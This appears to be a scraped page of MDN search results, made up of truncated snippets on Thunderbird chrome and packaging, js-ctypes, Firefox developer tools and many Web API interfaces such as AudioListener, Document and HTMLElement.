the base chrome directory of thunderbird can sometimes appear confusing when you're just beginning to look at it.
...things appear confusing for several reasons: much of the code is written to be portable, so instead of duplicating it, its been put in overlays that are loaded over many different types of windows.
...the rest is loaded from overlays: mailwindowoverlay.xul this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript.
...And 4 more matches
Thunderbird Binaries
described below are three types of generally available thunderbird packages - releases, early preview releases, and nightly builds (including trunk development builds) - and their downloaded locations.
... additionally, ad-hoc packages called try builds are made available on an as-needed basis to allow for testing of certain patches, and are typically announced in related bug reports.
... thunderbird current release can be downloaded from https://www.mozilla.org/thunderbird/ past thunderbird releases can be downloaded from https://releases.mozilla.org/pub/thunderbird/releases/ early preview releases whilst writing new versions of thunderbird, developers release preview versions, known as betas.
...And 4 more matches
Theme Packaging
pre-requisites making a theme for thunderbird requires knowledge of cascading stylesheets (css), probably xbl, and some graphic design and aesthetic skill (...or maybe not).
... theme file layout thunderbird themes are packaged in an xpi file with the following structure: theme.xpi: install.rdf preview.png icon.png chrome/ browser/files communicator/files global/files mozapps/files ...
...it can be any size.
...And 4 more matches
Thunderbird extensions
see community / communications.
... ask in a community communication channel on the right.
...read the source using a fancy interface; you can often find tests that demonstrate what you're trying to achieve.
...And 4 more matches
ArrayType
exceptions thrown typeerror type is not a ctype, or type.size is undefined.if the length is specifed but if it is not a valid one,then it is also thrown rangeerror the size of the resulting array can't be represented as both a size_t and as a javascript number.
...this is the result of calling ctypes.pointertype(the_type).
... return value a cdata representing the newly allocated array.
...And 4 more matches
Int64
because javascript doesn't currently include standard support for 64-bit integer values, js-ctypes offers the int64 and uint64 objects to let you work with c functions and data that need (or may need) values represented using a 64-bit data type.
...this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number.
...you can therefore use a string to represent a 64-bit value that is too large to represent as a 32-bit javascript number.
...And 4 more matches
Break on DOM mutation - Firefox Developer Tools
there are three choices: subtree modification execution pauses if any of the elementʼs descendant nodes are modified.
... examples for when this breakpoint is triggered are calling node.appendchild() and node.removechild(), calling childnode.remove() or setting element.innerhtml on one of the subnodes.
... attribute modification execution pauses when any of the elementsʼ attributes are modified.
...And 4 more matches
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
clicking the icon toggles the display of an overlay on the page, which appears over the selected flex container that displays an outline around each flex item: the overlay will still be shown when you select other elements from the inspector panel, so you can edit related css properties and see how the flex items are affected by your changes.
...you can find out more about those in the section below.
... note: the layout view can be found underneath the layout tab on the right-hand pane of the page inspector.
...And 4 more matches
Sorting algorithms comparison - Firefox Developer Tools
this article describes a simple example program that we use in two of the performance guides: the guide to the call tree and the guide to the flame chart.
...iteratively (200 iterations) generates a randomized array and calls sort().
... sort() calls each of bubblesort(), selectionsort(), quicksort() in turn and logs the result.
...And 4 more matches
Taking screenshots - Firefox Developer Tools
you can use the developer tools to take a screenshot of the entire page, or of a single element in the page.
...the screenshot is saved to the browser's "downloads" directory: copying screenshots to the clipboard from firefox 53, you can also copy the screenshot to the clipboard.
... taking screenshots with the web console if you need to specify a different device-pixel-ratio, set a delay before taking the screenshot, or specify your own file name, starting in firefox 62 you can use the :screenshot helper function in the web console.
...And 4 more matches
AbortController - Web APIs
you can create a new abortcontroller object using the abortcontroller.abortcontroller() constructor.
... communicating with a dom request is done using an abortsignal object.
... properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to communicate with/abort a dom request.
...And 4 more matches
AbortSignal - Web APIs
the abortsignal interface represents a signal object that allows you to communicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object.
... abortsignal.aborted read only a boolean that indicates whether the request(s) the signal is communicating with is/are aborted (true) or not (false).
... abort invoked when the dom request(s) the signal is communicating with is/are aborted.
...And 4 more matches
AnalyserNode.smoothingTimeConstant - Web APIs
it's basically an average between the current buffer and the last buffer the analysernode processed, and results in a much smoother set of value changes over time.
... if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the previous and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls.
... in technical terms, we apply a blackman window and smooth the values over time.
...And 4 more matches
AnalyserNode - Web APIs
ts 1 number of outputs 1 (but may be left unconnected) channel count mode "max" channel count 2 channel interpretation "speakers" inheritance this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
... analysernode.mindecibels is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte values — basically, this specifies the minimum value for the range of results when using getbytefrequencydata().
... analysernode.maxdecibels is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte values — basically, this specifies the maximum value for the range of results when using getbytefrequencydata().
...And 4 more matches
Animation.play() - Web APIs
WebAPIAnimationplay
if the animation is finished, calling play() restarts the animation, playing it from the beginning.
... return value undefined example in the growing/shrinking alice game example, clicking or tapping the cake causes alice's growing animation (alicechange) to play forward, causing her to get bigger, as well as triggering the cake's animation.
... two animation.play()s, one eventlistener: // the cake has its own animation: var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // pause the cake's animation so it doesn't play immediately.
...And 4 more matches
AudioContext.createMediaElementSource() - Web APIs
the createmediaelementsource() method of the audiocontext interface is used to create a new mediaelementaudiosourcenode object, given an existing html <audio> or <video> element, the audio from which can then be played and manipulated.
...when the mouse pointer is moved, the updatepage() function is invoked, which calculates the current gain as a ratio of mouse y position divided by overall window height.
... you can therefore increase and decrease the volume of the playing music by moving the mouse pointer up and down.
...And 4 more matches
AudioContextOptions.latencyHint - Web APIs
the audiocontextoptions dictionary (used when instantiating an audiocontext) may contain a property named latencyhint, which indicates the preferred maximum latency in seconds for the audio context.
... the value is specified either as a member of the string enum audiocontextlatencycategory or a double-precision value.
...there are two ways this value can be specified.
...And 4 more matches
AudioListener.dopplerFactor - Web APIs
the deprecated dopplerfactor property of the audiolistener interface is a double value representing the amount of pitch shift to use when rendering a doppler effect.
... syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.dopplerfactor = 1; value a double indicating the doppler effect's pitch shift value.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
...And 4 more matches
AudioListener.forwardX - Web APIs
its default value is 0, and it can range between positive and negative infinity.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 4 more matches
AudioListener.forwardY - Web APIs
its default value is 0, and it can range between positive and negative infinity.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 4 more matches
AudioListener.forwardZ - Web APIs
its default value is -1, and it can range between positive and negative infinity.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 4 more matches
AudioListener.setPosition() - Web APIs
the three parameters x, y and z are unitless and describe the listener's position in 3d space according to the right-hand cartesian coordinate system.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 4 more matches
AudioListener.upX - Web APIs
WebAPIAudioListenerupX
its default value is 0, and it can range between positive and negative infinity.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 4 more matches
AudioListener.upY - Web APIs
WebAPIAudioListenerupY
its default value is 1, and it can range between positive and negative infinity.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 4 more matches
AudioListener.upZ - Web APIs
WebAPIAudioListenerupZ
its default value is 0, and it can range between positive and negative infinity.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 4 more matches
AudioParam.setTargetAtTime() - Web APIs
this is useful for decay or release portions of adsr envelopes.
...the decay rate as defined by the timeconstant parameter is exponential; therefore the value will never reach target completely, but after each timestep of length timeconstant, the value will have approached target by another 1-e-1≈63.2%1 - e^{-1} \approx 63.2%.
... for the complete formula (which uses a first-order linear continuous time-invariant system), check the web audio specification.
...And 4 more matches
AudioParam - Web APIs
an audioparam can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.
...the exponential decay rate is defined by the timeconstant parameter, which is a time measured in seconds.
... audioparam.setvaluecurveattime() schedules the values of the audioparam to follow a set of values, defined by an array of floating-point numbers scaled to fit into the given interval, starting at a given start time and spanning a given duration of time.
...And 4 more matches
AudioTrack - Web APIs
this id can be used to locate a specific track within an audio track list by calling audiotracklist.gettrackbyid().
... the id can also be used as the fragment part of the url if the media supports seeking by media fragment per the media fragments uri specification.
... kind read only a domstring specifying the category into which the track falls.
...And 4 more matches
AudioTrackList.getTrackById() - Web APIs
syntax var thetrack = audiotracklist.gettrackbyid(id); paramters id a domstring indicating the id of the track to locate within the track list.
... return value an audiotrack object indicating the first track found within the audiotracklist whose id matches the specified string.
... example this example suggests a hypothetical game in which movies are used as cut-scenes or other key set pieces within the game.
...And 4 more matches
AudioTrackList.onaddtrack - Web APIs
the audiotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new audio track has been added to the media element whose audio tracks the audiotracklist represents.
... note: you can also add a handler for the addtrack event using addeventlistener().
... syntax audiotracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which audio track has been added to the media.
...And 4 more matches
AudioTrackList - Web APIs
the individual tracks can be accessed using array syntax.
... event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a new audio track has been added to the media element.
... onchange an event handler to be called when the change event occurs.
...And 4 more matches
BaseAudioContext.createPeriodicWave() - Web APIs
the createperiodicwave() method of the baseaudiocontext interface is used to create a periodicwave, which is used to define a periodic waveform that can be used to shape the output of an oscillatornode.
... var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag, {disablenormalization: true}); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave here, we create a periodicwave with two values.
...0 is good here, because we want to start the curve at the middle of the [-1.0; 1.0] range.
...And 4 more matches
Beacon API - Web APIs
beacon requests use the http post method and requests typically do not require a response.
... example use cases of the beacon api are logging activity and sending analytics data to the server.
... the beacon interface addresses the needs of analytics and diagnostics code that typically attempts to send data to a web server before unloading the document.
...And 4 more matches
BlobBuilder - Web APIs
just create a blobbuilder and append chunks of data to it by calling the append() method.
... when you're done building your blob, call getblob() to retrieve a blob containing the data you sent into the blob builder.
... note: the blobbuilder interface has been deprecated in favor of the newly introduced blob constructor.
...And 4 more matches
BluetoothRemoteGATTCharacteristic - Web APIs
value; promise<bluetoothremotegattdescriptor> getdescriptor(bluetoothdescriptoruuid descriptor); promise<sequence<bluetoothremotegattdescriptor>> getdescriptors(optional bluetoothdescriptoruuid descriptor); promise<dataview> readvalue(); promise<void> writevalue(buffersource value); promise<void> startnotifications(); promise<void> stopnotifications(); }; bluetoothremotegattcharacteristic implements eventtarget; bluetoothremotegattcharacteristic implements characteristiceventhandlers; properties bluetoothremotegattcharacteristic.serviceread only returns the bluetoothgattservice this characteristic belongs to.
... bluetoothremotegattcharacteristic.valueread only the currently cached characteristic value.
... this value gets updated when the value of the characteristic is read or updated via a notification or indication.
...And 4 more matches
CSSMathSum - Web APIs
the cssmathsum interface of the css typed object model api represents the result obtained by calling add(), sub(), or tosum() on cssnumericvalue.
... a cssmathsum is the object type returned when the stylepropertymapreadonly.get() method is used on a css property whosevalue is created with a calc() function.
... properties cssmathsum.values returns a cssnumericarray object which contains one or more cssnumericvalue objects.
...And 4 more matches
CSS Object Model (CSSOM) - Web APIs
it allows users to read and modify css style dynamically.
... reference animationevent caretposition css csscharsetrule cssconditionrule csscounterstylerule cssfontfacerule cssfontfeaturevaluesmap cssfontfeaturevaluesrule cssgroupingrule cssimportrule csskeyframerule csskeyframesrule cssmarginrule cssmediarule cssnamespacerule csspagerule cssrule cssrulelist cssstyledeclaration cssstylesheet cssstylerule csssupportsrule cssvariablesmap cssviewportrule elementcssinlinestyle fontface fontfaceset fontfacesetloadevent geometryutils getstyleutils linkstyle medialist mediaquerylist mediaquerylistevent mediaquerylistlistener screen stylesheet stylesheetlist transitionevent several other interfaces are also extended by the cssom-related specifications: document, window, element, htmlelement, htmlimageelement, ran...
... css typed object model cssimagevalue csskeywordvalue cssmathinvert cssmathmax cssmathmin cssmathnegate cssmathproduct cssmathsum cssmathvalue cssmatrixcomponent cssnumericarray cssnumericvalue cssperspective csspositionvalue cssrotate cssscale cssskew cssskewx cssskewy cssstylevalue csstransformcomponent csstransformvalue csstranslate cssunitvalue cssunparsedvalue cssvariablereferencevalue stylepropertymap stylepropertymapreadonly obsolete cssom interfaces cssprimitivevalue cssvalue cssvaluelist tutorials determining the dimensions of elements (it needs some updating as it was made in the dhtml/ajax era).
...And 4 more matches
Using the CSS properties and values API - Web APIs
css.registerproperty the following will register a css custom properties, --my-prop, using css.registerproperty, as a color, give it a default value, and have it not inherit its value: window.css.registerproperty({ name: '--my-prop', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); @property the same registration can take place in css.
...when a property isn't registered, the browser doesn't know how to treat it, so it assumes that any value can be used and therefore can't animate it.
... when a property has a registered syntax, though, the browser can optimize around that syntax, including being able to animate it!
...And 4 more matches
Finale - Web APIs
WebAPICanvas APITutorialFinale
you finished the canvas tutorial!
... more examples and tutorials there are a variety of demos and further explanations about canvas on these sites: codepen.io front end developer playground & code editor in the browser.
... html5 canvas tutorials examples for most canvas apis.
...And 4 more matches
CloseEvent.initCloseEvent() - Web APIs
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... do not use this method anymore as it is deprecated.
... syntax event.initmouseevent(type, canbubble, cancelable, wasclean, reasoncode, reason); parameters type the string to set the event's type to.
...And 4 more matches
ConstantSourceNode - Web APIs
this makes it useful for cases in which you need a constant value coming in from an audio source.
... in addition, it can be used like a constructible audioparam by automating the value of its offset or by connecting another node to it; see controlling multiple parameters with constantsourcenode.
...you can also create a constantsourcenode whose properties are initialized to their default values by calling audiocontext.createconstantsource().
...And 4 more matches
ConstrainBoolean - Web APIs
you can specify an exact value which must be matched, an ideal value that should be matched if at all possible, and a fallback value to attempt to match once all more specific constraints have been applied.
... properties exact a boolean which indicates a value the property must have.
... ideal a boolean value indicating the ideal, but not required, value the property should ideally have.
...And 4 more matches
CustomEvent.initCustomEvent() - Web APIs
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... do not use this method anymore, as it is deprecated.
... syntax event.initcustomevent(type, canbubble, cancelable, detail); parameters type is a domstring containing the name of the event.
...And 4 more matches
DOMImplementation.hasFeature() - Web APIs
the domimplementation.hasfeature() method returns a boolean flag indicating if a given feature is supported.
... it is deprecated and modern browsers return true in all cases.
... version a domstring representing the version of the specification defining the feature.
...And 4 more matches
DataTransferItem.getAsString() - Web APIs
the datatransferitem.getasstring() method invokes the given callback with the drag data item's string data as the argument if the item's kind is a plain unicode string (i.e.
... syntax datatransferitem.getasstring(callback); parameters callback a callback function that has access to the data transfer item's string data.
... see callback below for details.
...And 4 more matches
Document.createDocumentFragment() - Web APIs
creates a new empty documentfragment into which dom nodes can be added to build an offscreen dom tree.
...the usual use case is to create the document fragment, append elements to the document fragment and then append the document fragment to the dom tree.
... since the document fragment is in memory and not part of the main dom tree, appending children to it does not cause page reflow (computation of element's position and geometry).
...And 4 more matches
Document.createElement() - Web APIs
when called on an html document, createelement() converts tagname to lower case before creating the element.
... html <!doctype html> <html> <head> <title>||working with elements||</title> </head> <body> <div id="div1">the text above has been created dynamically.</div> </body> </html> javascript document.body.onload = addelement; function addelement () { // create a new div element const newdiv = document.createelement("div"); // and give it some content const newcontent = document.createtextnode("hi there and greetings!"); // add the text node to the newly created div newdiv.appendchild(newcontent); // add the newly created eleme...
...in this case, our custom element extends the htmlulistelement, which represents the <ul> element.
...And 4 more matches
Document.getElementsByClassName() - Web APIs
when called on the document object, the complete document is searched, including the root node.
... you may also call getelementsbyclassname() on any element; it will return only elements which are descendants of the specified root element with the given class name(s).
... names is a string representing the class name(s) to match; multiple class names are separated by whitespace getelementsbyclassname can be called on any element, not only on the document.
...And 4 more matches
Document.getElementsByTagName() - Web APIs
the returned htmlcollection is live, meaning that it updates itself automatically to stay in sync with the dom tree without having to call document.getelementsbytagname() again.
... the latest w3c specification says elements is an htmlcollection; however, this method returns a nodelist in webkit browsers.
...this demonstrates both document.getelementsbytagname() and the functionally identical element.getelementsbytagname(), which starts the search at a specific element within the dom tree.
...And 4 more matches
Document.mozSetImageElement() - Web APIs
syntax document.mozsetimageelement(imageelementid, imageelement); parameters imageelementid is a string indicating the name of an element that has been specified as a background image using the -moz-element css function.
... <style type="text/css"> #mybox { background-image: -moz-element(#canvasbg); text-align: center; width: 400px; height: 400px; cursor: pointer; } </style> the css defined by the <style> block above is used by our <div> to use an element with the id "canvasbg" as its background.
... var c = 0x00; function clicked() { var canvas = document.createelement("canvas"); canvas.setattribute("width", 100); canvas.setattribute("height", 100); var ctx = canvas.getcontext('2d'); ctx.fillstyle = "#" + c.tostring(16) + "0000"; ctx.fillrect(25, 25, 75, 75); c += 0x11; if (c > 0xff) { c = 0x00; } document.mozsetimageelement("canvasbg", canvas); } the code here is called each time the user clicks the <div> element.
...And 4 more matches
DocumentOrShadowRoot.getSelection() - Web APIs
the getselection() property of the documentorshadowroot interface returns a selection object representing the range of text selected by the user, or the current position of the caret.
... example function foo() { var selobj = document.getselection(); alert(selobj); var selrange = selobj.getrangeat(0); // do stuff with the range } notes string representation of the selection object in javascript, when an object is passed to a function expecting a string (like window.alert()), the object's tostring() method is called and the returned value is passed to the function.
... this can make the object appear to be a string when used with other functions when it is really an object with properties and methods.
...And 4 more matches
Element: click event - Web APIs
an element receives a click event when a pointing device button (such as a mouse's primary mouse button) is both pressed and released while the pointer is located inside the element.
... bubbles yes cancelable yes interface mouseevent event handler property onclick if the button is pressed on one element and the pointer is moved outside the element before the button is released, the event is fired on the most specific ancestor element that contained both elements.
...his bug: for ie9 only: set background-color: rgba(0,0,0,0) set opacity: 0 and an explicit background-color other than transparent for ie8 and ie9: set filter: alpha(opacity=0); and an explicit background-color other than transparent safari mobile safari mobile 7.0+ (and likely earlier versions too) suffers from a bug where click events aren't fired on elements that aren't typically interactive (e.g.
...And 4 more matches
Element.getAttribute() - Web APIs
examples const div1 = document.getelementbyid('div1'); const align = div1.getattribute('align'); alert(align); // shows the value of align for the element with id="div1" description lower casing when called on an html element in a dom flagged as an html document, getattribute() lower-cases its argument before proceeding.
... non-existing attributes essentially all web browsers (firefox, internet explorer, recent versions of opera, safari, konqueror, and icab, as a non-exhaustive list) return null when the specified attribute does not exist on the specified element; this is what the current dom specification draft specifies.
... the old dom 3 core specification, on the other hand, says that the correct return value in this case is actually the empty string, and some dom implementations implement this behavior.
...And 4 more matches
Element.id - Web APIs
WebAPIElementid
another common case is to use an element's id as a selector when styling the document with css.
... note: identifiers are case-sensitive, but you should avoid creating ids that differ only in the capitalization.
... specifications specification status comment domthe definition of 'id' in that specification.
...And 4 more matches
Element: mouseup event - Web APIs
the mouseup event is fired at an element when a button on a pointing device (such as a mouse or trackpad) is released while the pointer is located inside it.
... bubbles yes cancelable yes interface mouseevent event handler property onmouseup examples the following example uses the mousedown, mousemove, and mouseup events to allow the user to draw on an html5 canvas.
... when the page loads, constants mypics and context are created to store a reference to the canvas and the 2d context we will use to draw.
...And 4 more matches
Element.namespaceURI - Web APIs
syntax namespace = element.namespaceuri example in this snippet, an element is being examined for its localname and its namespaceuri.
... if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>.
... if (element.localname == "browser" && element.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul browser } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
...And 4 more matches
Fetch API - Web APIs
WebAPIFetch API
this will allow them to be used wherever they are needed in the future, whether it’s for service workers, cache api, and other similar things that handle or modify requests and responses, or any kind of use case that might require you to generate your responses programmatically (that is, the use of computer program or personal programming instructions).
...it is implemented in multiple interfaces, specifically window and workerglobalscope.
...you can also optionally pass in an init options object as the second argument (see request).
...And 4 more matches
FileSystem - Web APIs
these objects can be obtained from the filesystem property on any file system entry.
...the relevant chrome api can be found here.
... basic concepts there are two ways to get access to a filesystem object: you can directly ask for one representing a sandboxed file system created just for your web app directly by calling window.requestfilesystem().
...And 4 more matches
FileSystemDirectoryReader - Web APIs
because this is a non-standard api, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it.
...each item in the array is an object based on filesystementry—typically either filesystemfileentry or filesystemdirectoryentry.
... specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification.
...And 4 more matches
Gamepad - Web APIs
WebAPIGamepad
a gamepad object can be returned in one of two ways: via the gamepad property of the gamepadconnected and gamepaddisconnected events, or by grabbing any position in the array returned by the navigator.getgamepads() method.
... gamepad.connected read only a boolean indicating whether the gamepad is still connected to the system.
... gamepad.mapping read only a string indicating whether the browser has remapped the controls on the device to a known layout.
...And 4 more matches
GlobalEventHandlers.onanimationstart - Web APIs
syntax var animstarthandler = target.onanimationstart; target.onanimationstart = function value a function to be called when an animationstart event occurs indicating that a css animation has begun on the target, where the target object is an html element (htmlelement), document (document), or window (window).
...that's because we don't want the box to start animating right away.
...first, the "slideanimation" class, which establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" keyframe set.
...And 4 more matches
HTMLDialogElement.open - Web APIs
the open property of the htmldialogelement interface is a boolean reflecting the open html attribute, indicating whether the dialog is available for interaction.
... the property is now read only — it is possible to set the value to programmatically show or hide the dialog.
...from there you can click the cancel button to close the dialog (via the htmldialogelement.close() method), or submit the form via the submit button.
...And 4 more matches
HTMLDialogElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmldialogelement" target="_top"><rect x="1" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="86" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldialogelement</text></a></svg></div...
... htmldialogelement.open a boolean reflecting the open html attribute, indicating whether the dialog is available for interaction.
...from there you can click the cancel button to close the dialog (via the htmldialogelement.close() function), or submit the form via the submit button.
...And 4 more matches
HTMLElement.dir - Web APIs
WebAPIHTMLElementdir
arabic languages and hebrew are typical languages using the rtl directionality.
... an image can have its dir property set to "rtl" in which case the html attributes title and alt will be formatted and defined as "rtl".
... example var parg = document.getelementbyid("para1"); parg.dir = "rtl"; // change the text direction on a paragraph identified as "para1" specifications specification status comment html living standardthe definition of 'dir' in that specification.
...And 4 more matches
HTMLHRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a...
... htmlhrelement.align is a domstring, an enumerated attribute indicating alignment of the rule with respect to the surrounding context.
... specifications specification status comment html living standardthe definition of 'htmlhrelement' in that specification.
...And 4 more matches
HTMLImageElement.decode() - Web APIs
this can be used to initiate loading of the image prior to attaching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered immediately upon being added to the dom.
... this, in turn, prevents the rendering of the next frame after adding the image to the dom from causing a delay while the image loads.
... exceptions encodingerror a domexception indicating that an error occurred while decoding the image.
...And 4 more matches
HTMLImageElement.x - Web APIs
the read-only htmlimageelement property x indicates the x-coordinate of the <img> element's left border edge relative to the root element's origin.
...in other words: it has either of those values set explicitly on it, or it has inherited it from a containing element, or by being located within a column described by either <col> or <colgroup>.
... syntax let imagex = htmlimageelement.x; value an integer value indicating the distance in pixels from the left edge of the element's nearest root element and the left edge of the <img> element's border box.
...And 4 more matches
HTMLImageElement.y - Web APIs
the read-only htmlimageelement property y indicates the y-coordinate of the <img> element's top border edge relative to the root element's origin.
...in other words: it has either of those values set explicitly on it, or it has inherited it from a containing element, or by being located within a column described by either <col> or <colgroup>.
... syntax let imagey = htmlimageelement.y; value an integer value indicating the distance in pixels from the top edge of the element's nearest root element to the top edge of the <img> element's border box.
...And 4 more matches
HTMLInputElement.webkitdirectory - Web APIs
the htmlinputelement.webkitdirectory is a property that reflects the webkitdirectory html attribute and indicates that the <input> element should let the user select directories instead of files.
...the selected file system entries can be obtained using the webkitentries property.
... understanding the results after the user makes a selection, each file object in files has its file.webkitrelativepath property set to the relative path within the selected directory at which the file is located.
...And 4 more matches
HTMLLegendElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25...
... specifications specification status comment html living standardthe definition of 'htmllegendelement' in that specification.
... living standard html 5.1the definition of 'htmllegendelement' in that specification.
...And 4 more matches
HTMLMapElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor=...
...if the id attribute is set, this must have the same value; and it cannot be null or empty.
... specifications specification status comment html living standardthe definition of 'htmlmapelement' in that specification.
...And 4 more matches
HTMLMediaElement.srcObject - Web APIs
the object can be a mediastream, a mediasource, a blob, or a file (which inherits from blob).
...until other browsers catch up, for mediasource, blob and file, consider falling back to creating a url with url.createobjecturl() and assign it to htmlmediaelement.src.
... usage notes older versions of the media source specification required using createobjecturl() to create an object url then setting src to that url.
...And 4 more matches
HTMLOptGroupElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="mi...
... specifications specification status comment html living standardthe definition of 'htmloptgroupelement' in that specification.
... living standard html5the definition of 'htmloptgroupelement' in that specification.
...And 4 more matches
HTMLParagraphElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline...
... htmlparagraphelement.align a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context.
... specifications specification status comment html living standardthe definition of 'htmlparagraphelement' in that specification.
...And 4 more matches
HTMLQuoteElement - Web APIs
